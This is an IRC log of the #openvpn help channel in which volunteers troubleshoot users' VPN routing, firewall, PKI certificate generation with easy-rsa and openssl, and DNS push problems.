08:52 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:03 < TByte`> anyone help? I believe the issue with routing, but not sure what's what.  All the subnets are different, client, VPN and VPN server machine :/
09:09 <@ecrist> TByte`: your client needs to talk to the servers VPN IP, not the public IP
09:09 <@ecrist> I believe I told you that yesterday
09:10 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:11 < TByte`> ecrist: I understand that.
09:11 < TByte`> so on the client I ping 10.8.8.1, the server's VPN IP, timeout.
09:15 < TByte`> it's all screwy.. :( argh.
09:19 -!- ||arifaX_ [~||arifaX@tmo-106-98.customers.d1-online.com] has joined #openvpn
09:19 -!- ||arifaX_ is now known as Guest40628
09:20 -!- Guest40628 [~||arifaX@tmo-106-98.customers.d1-online.com] has quit [Client Quit]
09:23 < TByte`> pls dude can you help me properly and engage?
09:23 < TByte`> I am a win32 programmer, I just struggle with some routing here, not sure what's what
09:23 -!- svparijs is now known as svparijs_afk
09:23 < TByte`> I am not obviously pinging the public IP of hte VPN server
09:24 <+pekster> Routing is fine if you can ping in any direction
09:24 <+pekster> Fix your firewall
09:24 < TByte`> I can only ping in 1 direction, from server to client
09:24 <+pekster> That would be "any" direction
09:24 <+pekster> The ICMP echo-reply (the "pong") makes it back; thus obviously routing works fine
09:24 < TByte`> I see.  so you're saying the fact that I can't ping the vpn server, there's a fw?
09:24 < TByte`> you're right. hmm
09:25  * pekster points to the end of the topic. It very often _is_ badly configured firewalls
09:25 < TByte`> what on earth is wrong then... I disabled the firewall in Windows Services
09:25 < TByte`> there are no firewalls :/
09:27 < TByte`> now that I disabled UDP on the VPN server (even though the config said proto tcp I still had a flurry of UDP packets being sent?) I might be able to see what's actually being sent in Wireshark
09:42 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
09:44 -!- takamichi [~takamichi@141.255.164.70] has joined #openvpn
10:03 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-ihbzbggykyjezjqn] has quit [Quit: Connection closed for inactivity]
10:06 -!- dazo is now known as dazo_afk
10:12 -!- mndo_ [~mndo@bl17-106-6.dsl.telepac.pt] has joined #openvpn
10:16 -!- mndo [~mndo@bl17-106-6.dsl.telepac.pt] has quit [Ping timeout: 252 seconds]
10:18 -!- takamichi [~takamichi@141.255.164.70] has quit [Ping timeout: 246 seconds]
10:21 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
10:24 < TByte`> guess what it was... FUCKING KASPERSKY!!!
10:24 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 252 seconds]
10:24 < TByte`> It had an NDIS adapter bridge on the TAP adapter
10:24 < TByte`> SON OF A BITCH PIECE OF SHIT
10:30 -!- SlutaTramsa [~SlutaTram@178.73.210.61] has joined #openvpn
10:30 -!- SlutaTramsa [~SlutaTram@178.73.210.61] has quit [Changing host]
10:30 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
10:31 -!- smue [smue@nostromo.smue.info] has quit [Quit: may the force be with you...]
10:40 -!- dowaat [uid3966@gateway/web/irccloud.com/x-bfyxaacpeoujnzpr] has quit [Quit: Connection closed for inactivity]
10:44 <+pekster> Fohlen: (catching up on the Tunnelblick stuff, just saw your highlight now) relative paths should work fine provided you're in the proper CWD. Since the GUI may be in an unexpected dir unless _you_ take action to set it, you should always use the --cd option in your config when you reference relative paths
10:46 <+pekster> Tunnelblick has fantastic deployment support too, if you need it; read their docs about the plist settings and the special "deploy/" dir structure (I think that's the name) you can use for single-action installs that come ready-to-use
11:01 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
11:01 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:01 -!- fvalente [~fvalente@ts.node.pt] has quit [Ping timeout: 245 seconds]
11:01 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 245 seconds]
11:02 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
11:03 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
11:03 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
11:03 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
11:04 -!- Perun [perun@chao5.net] has quit [Ping timeout: 245 seconds]
11:04 -!- fvalente [~fvalente@ts.node.pt] has joined #openvpn
11:05 -!- Perun [perun@chao5.net] has joined #openvpn
11:06 -!- svparijs_afk is now known as svparijs
11:07 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Ping timeout: 260 seconds]
11:08 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
11:09 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-bdrmuzsldivdqbaq] has quit [Quit: Connection closed for inactivity]
11:10 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
11:10 -!- master_of_master [~master_of@p4FF24578.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
11:12 -!- master_of_master [~master_of@p4FD7B84F.dip0.t-ipconnect.de] has joined #openvpn
11:17 -!- elfixit [~Icedove@82.197.179.13] has joined #openvpn
11:22 -!- elfixit [~Icedove@82.197.179.13] has quit [Ping timeout: 252 seconds]
11:28 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Ping timeout: 248 seconds]
11:28 -!- elfixit [~Icedove@82.197.179.13] has joined #openvpn
11:33 -!- elfixit [~Icedove@82.197.179.13] has quit [Read error: Operation timed out]
11:37 -!- svparijs is now known as svparijs_afk
11:37 -!- elfixit [~Icedove@dhcp-129-151.office.init7.net] has joined #openvpn
11:46 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Ping timeout: 246 seconds]
11:50 -!- Chrisje [~chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
11:57 -!- ele_ [~maarten@pinky.elexer.com] has quit [Ping timeout: 260 seconds]
11:57 -!- ele_ [~maarten@pinky.elexer.com] has joined #openvpn
12:01 -!- dowaat [uid3966@gateway/web/irccloud.com/x-ssuoaqjojquabthf] has joined #openvpn
12:30 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has quit [Ping timeout: 252 seconds]
12:31 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
12:37 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
12:40 < Fohlen> I will check that out pekster
12:41 -!- elfixit [~Icedove@dhcp-129-151.office.init7.net] has quit [Ping timeout: 246 seconds]
12:46 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 272 seconds]
12:48 -!- elfixit [~Icedove@dhcp-129-151.office.init7.net] has joined #openvpn
12:50 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Remote host closed the connection]
12:54 -!- smue [smue@nostromo.smue.info] has joined #openvpn
13:07 -!- mndo_ [~mndo@bl17-106-6.dsl.telepac.pt] has quit [Ping timeout: 272 seconds]
13:09 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
13:13 -!- svparijs_afk is now known as svparijs
13:18 -!- elfixit [~Icedove@dhcp-129-151.office.init7.net] has quit [Ping timeout: 272 seconds]
13:26 -!- ade_b [~Ade@82.117.5.140] has joined #openvpn
13:26 -!- ade_b [~Ade@82.117.5.140] has quit [Changing host]
13:26 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
13:28 -!- elfixit [~Icedove@dhcp-129-151.office.init7.net] has joined #openvpn
13:29 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
13:32 -!- pagios__ [pagioss@gateway/shell/bnc4free/x-slnhdqbgwpntipic] has joined #openvpn
13:34 < pagios__> hello all i have a question about tunneling, i have 1 wifi connection and another 3g connection on my laptop, each of them has a public ip address, i also have a server on the internet that has a public ip address, now i want to send a stream of data (audio) from my laptop to the server and use both of my connections to add up the thoughput, i thought of using openvpn to use 1 private address on the sender and another on there
13:34 < pagios__> ceiver and use each of the public address to nat via that address
13:35 < pagios__> how can i make like a roundrobin on the 3g and wifi to simulate a single connection to the server?
13:36 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 246 seconds]
13:39 -!- elfixit [~Icedove@dhcp-129-151.office.init7.net] has quit [Quit: elfixit]
13:41 -!- kirin` [telex@gateway/shell/anapnea.net/x-msiswilwgfbldnyh] has quit [Ping timeout: 252 seconds]
13:47 -!- dos-freak [leecher@zentarim.0wnz.at] has quit [Ping timeout: 245 seconds]
13:52 <+pekster> pagios__: Short answer: no, that won't work. Go read about interface bonding as your search term, but you can't do that without cooperation between your endpoints. Attempting to bond virtual connections (say, 2 taps) on wifi+3g is a setup for disasater given TCP re-ordering and the like
13:52 < pagios__> pekster: what about first connection being 3g and the second 3g from another operator?
13:52 <+pekster> Same problem
13:53 < pagios__> how can i benefit from the throuput pekster
13:54 < pagios__> like i want to fully use both and simulate 1 connection not 2
13:54 <+pekster> Send different data out different physical links. Read up on policy routing
13:54 <+pekster> Right, you can't do that on a single stream. For the 3rd time.
13:54 < pagios__> thats easy like web here , voip there...
13:54 < pagios__> even for udp pekster ?
13:54 -!- xBytez [~quassel@libxbytez.so] has quit [Changing host]
13:54 -!- xBytez [~quassel@unaffiliated/xbytez] has joined #openvpn
13:55 <+pekster> Bonding. Go read about bonding, and outside of setting up 2 taps and forming a bond0 (or w/e name you give it) interface, this has zero to do wtih openvpn
13:56 <+pekster> I think you're going to find this won't really work, but that's how you'd go about doing it
13:57 < pagios__> pekster: for instance http://www.streambox.com/products/avenir-mini
13:57 <@vpnHelper> Title: Avenir Mini | Streambox Inc. - Mobile Broadcast Streaming Video (at www.streambox.com)
13:57 < pagios__> i read: Six total 3G/4G modems, Includes 4 built-in embedded 3G/4G/LTE Modems and 2 optional USB modems
13:57 < pagios__> thats why i wonder how they do it....
13:58 -!- dos-freak [leecher@zentarim.0wnz.at] has joined #openvpn
13:59 <+pekster> Obviously by being a lot more clever than ifenslave(8) is natively
14:00 < pagios__> you mean they did some inhouse stuff?
14:00 <+pekster> tl;dr: no, OpenVPN doesn't help you out at all here beyond the possibility of providing concurrent taps over unique links. What you do with multiple OSI L2 adapters (a "NIC") is up to you
14:00 <+pekster> Yes
14:10 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
14:11 -!- keropok [~keropok@9W2JDY.peramah.org.my] has joined #openvpn
14:20 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 253 seconds]
14:24 -!- Denial [Denial@2.223.161.125] has quit []
14:28 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Remote host closed the connection]
14:31 -!- BtbN [znc@btbn.de] has quit [Quit: Bye]
14:32 -!- BtbN [znc@btbn.de] has joined #openvpn
14:37 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
14:47 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
14:47 -!- EmperorTom [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
14:49 -!- EmperorTom is now known as _quadDamage
14:50 -!- CygniX [~CygniX@unaffiliated/twois10] has joined #openvpn
14:50 < CygniX> hi, is easy-rsa needed or is there an alternative was of generating the keys?
14:51 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
14:51 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
14:54 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 245 seconds]
14:54 < plaisthos> CygniX: any x509 pki can be used
14:55 < plaisthos> but as the name suggest easy-rsa is one of easiest to use
14:58 < CygniX> plaisthos: in /etc/openvpn I just need cp ca.crt ca.key dh{n}.pem server.crt server.key
14:59 < CygniX> - cp
15:02 <+pekster> Do _NOT_ copy the ca.key off the CA PKI
15:02 <+pekster> There's no reason that should be on your OpenVPN server at all really, and certainly not in a place that the openvpn process can access it
15:02 < CygniX> O_o
15:03 <+pekster> You can read more about PKI best practices at this wiki page I started on hardening OpenVPN:
15:03 <+pekster> !hardening
15:03 <@vpnHelper> "hardening" is https://community.openvpn.net/openvpn/wiki/Hardening
15:07 < CygniX> OK, I think I am getting it now, pekster
15:07 < CygniX> ca is just for signing and revoking
15:07 <+pekster> Yup; clients just use the ca.crt, which is the CA's public key
15:08 <+pekster> All private keys should never leave the system they're designated for, especially not your CA private key
15:11 < CygniX> I am still not clear completely though
15:12 < CygniX> I generate a private+public ca.key/ca.crt pair to begin
15:12 < CygniX> what next?
15:13 <+pekster> The official easy-rsa v2 howto is at !pki. That guide does not cover the "best practice" approach of generating keypairs of target systems, but it's more convenient (especially given easyrsa v2's limitations.)
15:13 <+pekster> A more basic intro to PKI can be found with a document in our easyrsa v3 development codebase here: https://github.com/OpenVPN/easy-rsa/blob/master/doc/Intro-To-PKI.md
15:13 <@vpnHelper> Title: easy-rsa/doc/Intro-To-PKI.md at master · OpenVPN/easy-rsa · GitHub (at github.com)
15:14 <+pekster> Optionally, if you'd like to try out the easyrsa3 stuff, start with some info here. There are currently no "official" releases of easyrsa3, though I'm hoping to have nice downloads availble by week's end. https://community.openvpn.net/openvpn/wiki/EasyRSA
15:15 <@vpnHelper> Title: EasyRSA – OpenVPN Community (at community.openvpn.net)
15:15 < CygniX> OK let me go through it, and if more questions (likely will be) and will be back
15:16 < CygniX> I have setup opevnpn multiple times, just have not done it without easy RSA
15:17 <+pekster> The offiical docs I referenced at !pki use easy-rsa v2. The wiki link has v3 info if you'd like to use hot-off-the-presses code (though I consider it sufficently stable -- it's mostly lacking in docs today)
15:17 <+pekster> You're free to try other PKI managers if you'd like: see !certman for a brief list
15:18 <+pekster> (or write your own, of course ;)
15:18 < CygniX> !certman
15:18 <@vpnHelper> "certman" is (#1) Various frontends can help you manage your PKI (certs & keys.) !easy-rsa is the officially supported one for OpenVPN. or (#2) Other choices include: !xca, !ssladmin, and probably others online
15:19 < CygniX> pekster: I was under the impression I could just use something like 'openssl genrsa'
15:20 -!- Z-TechFourNine [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
15:21 -!- Z-TechFourNine [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
15:22 <+pekster> Nope, not by itself anyway
15:22 <+pekster> That just creates an asymmetric keypair; X.509 is a specific standard that involves a full PKI
15:22 <+pekster> RSA keys are just one part in PKI
15:22 <+pekster> You really need to read that 'Intro-To-PKI' document I referenced
15:23 < CygniX> pekster: I did that why I thought I could use the command I gave earlier. then do a request, and then sign the keys
15:24 <+pekster> genrsa only generates the _keypair_. You need to send a PKCS#10 X.509 request (a "request") to the CA
15:24 <+pekster> The CA then validates and signs it, turning it into a valid X.509 certificate
15:25 <+pekster> genrsa _only_ deals with the "keypair", which as you can see from that Intro document, is only 1 part of a PKI
15:25 <+pekster> You can generate a PKCS#10 request from a keypair, but that's a very low-level task. easy-rsa (and other frontends) avoid the hassle with doing every step manually
15:26 < CygniX> I guess my question was incomplete.
15:26 <+pekster> X.509 is more complex than the ssh publickey auth, if that's what you're comparing it to
15:28 < CygniX> say for example, I do 'openssl genrsa  -out ca.key 2048' and then 'openssl req -new -x509 -nodes -sha1 -days 365 -key ca.key -out ca.crt'
15:29 <+pekster> Sure, that'll work
15:30 <+pekster> Beware signing things "by hand" though since certain openvpn features, like KU/EKU checks (read !mitm for benefits here) won't work unless you add the right attributes
15:30 <+pekster> That's more of what frontends help take care of for you
15:32 < CygniX>  I dont see anything on the howto on KU/EKU
15:32 <+pekster> Becuase easy-rsa does it for you
15:32 <+pekster> A howto isn't going to go into technical detail if you don't "need to know" in order to _use_ the tool
15:33 <+pekster> Only people _writing_ these tools need to know. If you're invoking openssl directly at the CLI, that means you do too.
15:33 <+pekster> !mitm
15:33 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
15:33 <+pekster> `--remote-cert-tls` in the openvpn(8) manpage expands to several KU/EKU checks, and those are all X.509 attributes
15:33 <+pekster> If this is all too complex for you, stick with a frontend that knows how to set things up properly ;)
15:35 <+pekster> Here are the specific X.509 attributes that get included in the certs as easyrsa3 sets them up: https://github.com/OpenVPN/easy-rsa/tree/master/easyrsa3/x509-types
15:35 <@vpnHelper> Title: easy-rsa/easyrsa3/x509-types at master · OpenVPN/easy-rsa · GitHub (at github.com)
15:36 < CygniX> OK thanks
15:39 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 248 seconds]
15:40 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
15:52 < CygniX> is there a easy-rsa3 archive without having to use git
15:52 < CygniX> If I want to pull it with wget
15:52 <+pekster> The button that lets you download a .tgz or .zip perhaps?
15:53 <+pekster> CygniX: https://github.com/OpenVPN/easy-rsa click "Download zip/tar.gz" (OS-depending) and extract it
15:53 <@vpnHelper> Title: OpenVPN/easy-rsa · GitHub (at github.com)
15:54 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
15:55 <+pekster> Unix-alikes only for the time being -- as usual Windows has "special needs" ;)
15:55 < CygniX> pekster: I dont see tar.gz option
15:56 < CygniX> only zip
15:56 <+pekster> It's based on your http user-agent value
15:56 <+pekster> https://github.com/OpenVPN/easy-rsa/archive/master.tar.gz
15:56 <+pekster> Just "change the extension"
15:56 < CygniX> user agent should be chromium and linux
15:57 < CygniX> "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.11 "
15:58 <+pekster> Odd; I was pretty sure I saw tar.gz for that button under my Linux boxes, but TBH I don't usually use the web UI on github at all when I'm on Linux
15:58 <+pekster> Either way, that URL is just a pre-generated tarball (or zip) based on the latest commit
15:59 <+pekster> Basically the same thing `git archive` does
16:00 < CygniX> I dont want to use git because it's a minimum server and it woud require the pack and dependencies
16:00 < CygniX> the tar.gz link works with wget, thanks
16:02 <+pekster> Sure, but my point is that archive is the same thing you'd get by doing a clone+archive operation on a system that did have git. Obviously in your case using github's feature is easuer ;)
16:04 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
16:20 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
16:30 -!- farfromhere [~ffh@some-other-doma.in] has joined #openvpn
16:31 -!- svparijs is now known as svparijs_afk
16:35 -!- svparijs_afk is now known as svparijs
16:42 -!- svparijs is now known as svparijs_afk
16:48 -!- A_Pickle [~A_Pickle@host-72-175-205-202.static.bresnan.net] has joined #openvpn
17:02 -!- A_Pickle [~A_Pickle@host-72-175-205-202.static.bresnan.net] has quit [Quit: Leaving.]
17:04 -!- hirogen [~peeepp@2.219.223.252] has joined #openvpn
17:04 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:09 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:14 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
17:18 -!- kirin` [telex@gateway/shell/anapnea.net/x-dlpvqeknaoifnwmk] has joined #openvpn
17:38 -!- farfromhere [~ffh@some-other-doma.in] has left #openvpn []
17:44 -!- hirogen [~peeepp@2.219.223.252] has quit [Ping timeout: 272 seconds]
18:07 -!- A_Pickle [~A_Pickle@host-174-45-187-170.chy-wy.client.bresnan.net] has joined #openvpn
18:07 -!- kirin` [telex@gateway/shell/anapnea.net/x-dlpvqeknaoifnwmk] has quit [Ping timeout: 264 seconds]
18:18 -!- speed_racer84 [~speed_rac@172.56.7.109] has joined #openvpn
18:19 -!- A_Pickle [~A_Pickle@host-174-45-187-170.chy-wy.client.bresnan.net] has quit [Quit: Leaving.]
18:45 -!- A_Pickle [~A_Pickle@host-174-45-187-170.chy-wy.client.bresnan.net] has joined #openvpn
18:50 -!- kirin` [telex@gateway/shell/anapnea.net/x-vethvwqusnprpdyi] has joined #openvpn
18:56 -!- A_Pickle [~A_Pickle@host-174-45-187-170.chy-wy.client.bresnan.net] has quit [Quit: Leaving.]
19:04 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-uteziqeptbinymzp] has quit [Quit: Connection closed for inactivity]
19:36 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 246 seconds]
19:41 -!- luc|dz [~kali@93.115.83.250] has joined #openvpn
19:44 -!- luc|dz [~kali@93.115.83.250] has left #openvpn []
20:00 -!- Carbon_Monoxide [~cmonxide@14.0.143.184] has joined #openvpn
20:09 -!- kirin` [telex@gateway/shell/anapnea.net/x-vethvwqusnprpdyi] has quit [Ping timeout: 245 seconds]
20:10 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
20:11 -!- Devastator [~devas@186.214.110.47] has joined #openvpn
20:21 -!- Devastator [~devas@186.214.110.47] has quit [Changing host]
20:21 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
20:24 -!- Devastator_ [~devas@186.214.15.173] has joined #openvpn
20:25 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
20:30 -!- klein [~klein@177.101.102.43] has joined #openvpn
20:30 -!- klein [~klein@177.101.102.43] has quit [Changing host]
20:30 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
20:32 -!- speed_racer84 [~speed_rac@172.56.7.109] has quit [Ping timeout: 272 seconds]
20:44 -!- keithzg [~quassel@184.70.164.246] has joined #openvpn
20:46 < keithzg> Hrmm. I had OpenVPN working fine on a Windows laptop (the server is Linux), but since the upgrade from 8 to 8.1 it isn't working anymore; it claims to be connected just fine, but traffic is still just routed as if it wasn't connected.
20:46 < keithzg> (and yeah, I disabled the Windows Firewall, that was literally the first thing I did heh)
20:47 <@krzee> upgrade what from 8 to 8.1?
20:47 <@krzee> and did you check your logs?
20:49 < keithzg> Upgrade Windows from 8 to 8.1
20:49 < keithzg> And, uhhh, apparently I didn't check my logs closely enough, because I was actually just checking them and it became clear I wasn't running OpenVPN as Administrator, d'oh.
20:50 < keithzg> That seems to have solved it. I am teh smart.
20:51 < rob0> high fives!
20:51 < keithzg> Drinks on me!
20:52 <@krzee> !beer
20:52 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
20:58 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
21:00 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
21:18 -!- Carbon_Monoxide [~cmonxide@14.0.143.184] has left #openvpn ["Leaving"]
21:36 -!- Carbon_Monoxide [~cmonxide@14.0.143.184] has joined #openvpn
21:40 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 252 seconds]
21:40 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Ping timeout: 245 seconds]
21:44 -!- Carbon_Monoxide [~cmonxide@14.0.143.184] has left #openvpn ["Leaving"]
21:44 <@ecrist> WHAT'S UP BITCHES???!?!?
21:47 -!- [d] [~anon@gateway/tor-sasl/d/x-21623781] has joined #openvpn
21:48 <@ecrist> hrm, i should do the irc logs thing
21:51 -!- ben1 [~ben@199.241.30.80] has joined #openvpn
21:52 < [d]> How can I get access to a vpn client from the vpn server?  I am assuming I am missing a route. I have a need to connect to the client tun address.  I do not need to access the client LAN.. just the client box connecting to the vpn server.
21:52 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
21:57 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
21:59 < ben1> hi, im trying to connect to openvpn on linux with networkmanager, ive imported the client configuration file, but now it is asking for a ca file. does anyone know how i get this?
22:03 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
22:04 <@ecrist> [d]: you can just connect over the VPN IP.
22:05 <@ecrist> !ubuntu
22:05 <@vpnHelper> "ubuntu" is dont use network manager!
22:05 <@ecrist> ben1: you should have been given the CA file from your VPN administrator
22:06 < ben1> ecrist: i installed openvpn server myself
22:09 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Ping timeout: 245 seconds]
22:10 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
22:11 <@krzee> [d], make sure the service is listening on * or at least the vpn ip/interface
22:11 <@krzee> and that the firewall allows it
22:11 -!- jgeboski- is now known as jgeboski
22:12 < ben1> looks like the ca key set up automatically when i installed it since i didnt need to create it
22:12 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
22:15 <@ecrist> ben1: iirc, openvpn does NOT issue a CA or client certificates by default
22:15 <@ecrist> though, your distro might do something stupid like that
22:15 < [d]> ecrist: I have not issue connecting to VPN. I can go client (10.8.0.100) => Server (10.8.0.1), but I can not connect to the clinet via ping/ssh/etc from the server (10.8.0.1 => 10.8.0.100) in this particular setup there are no firewall rules in the way...
22:15 < ben1> yea i installed it with a .deb
22:16 < [d]> i assume there is a route I need to add, but I don't know what it is.
22:16 <@ecrist> don't use the packaged certificates if you give any shits about security, ben1 
22:16 < ben1> ecrist: okay thanks
22:16 <@ecrist> [d]: if you're connected to the VPN, and the server can't ping the client, there ARE firewall rules in the way
22:17 < [d]> there are none
22:17 < [d]> iptables is off
22:17 < [d]> on client and server
22:17 < [d]> and these two machines are sitting on the same switch
22:17 <@ecrist> are you trying to ping/whatever the VPN IP of the client?
22:17 < [d]> yes
22:17 < [d]> failing. goes off into a blackhole
22:18 <@ecrist> well now, sitting on the same switch might be the problem.
22:18 < [d]> never to come abck
22:18 < [d]> well
22:18 < [d]> two virtual machines
22:18 <@ecrist> if your source address is the LAN address, and the destination is the VPN address, the client might be trying to reply on the LAN address
22:18 < [d]> on the same hosting hypervisor
22:20 < [d]> this is the server routing for the tun0
22:20 < [d]> 10.8.0.2        *               255.255.255.255 UH    0      0        0 tun0
22:20 < [d]> 10.8.0.0        10.8.0.2        255.255.255.0   UG    0      0        0 tun0
22:20 <@ecrist> don't paste here
22:20 < [d]> sorry
22:20 <@ecrist> read what I posted, above
22:20 <+pekster> That, and `ip r` on Linux is cleaner output (uses CIDR, just like the BSD's `netstat -rn`)
22:21 -!- mete [~mete@mete.shell.la] has quit [Read error: Operation timed out]
22:22 < [d]> i will throw tcpdump on this and see what is going on.
22:22 <@ecrist> read what I posted, above
22:23 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
22:24 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Ping timeout: 272 seconds]
22:25 -!- mete [~mete@mete.shell.la] has joined #openvpn
22:26 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
22:29 -!- [d] [~anon@gateway/tor-sasl/d/x-21623781] has quit [Quit: Lost terminal]
23:00 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Ping timeout: 245 seconds]
23:14 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
23:25 -!- CygniX [~CygniX@unaffiliated/twois10] has quit [Quit: Konversation terminated!]
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Read error: Operation timed out]
--- Day changed Thu Nov 28 2013
00:03 < ben1> hi, i just followed the section "routing all client traffic through the vpn" and it says to add 'push "dhcp-option DNS 10.8.0.1"' to my config file but it doesnt say if i need to add it to the server one or the client one. either way ive tried both and when i connect i cant browse the internet but i can connect to my server. does anyone know what i could be doing wrong?
00:03 < ben1> the client im connecting with is running linux btw
00:06 <+pekster> Routes and DNS are different things. If you're pushing DNS, see !pushdns as Linux clients won't by default do anything with a --dhcp-option directive
00:10 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-bfikovfbcmtfesfo] has joined #openvpn
00:26 < ben1> im not sure how to nat between nat0 and eth0
00:27 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
00:38 <+pekster> ben1: Dunno what you're doing, but !redirect and !nat might be helpful
00:40 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Ping timeout: 252 seconds]
00:42 < ben1> i just wanna route traffic to my vpn for internet browsing to use it as a proxy
00:44 <+pekster> See the aforementioned references
00:44 < ben1> ok thanks
00:46 < ben1> !welcome
00:46 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
00:46 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
00:47 < ben1> !redirect
00:47 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
00:47 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
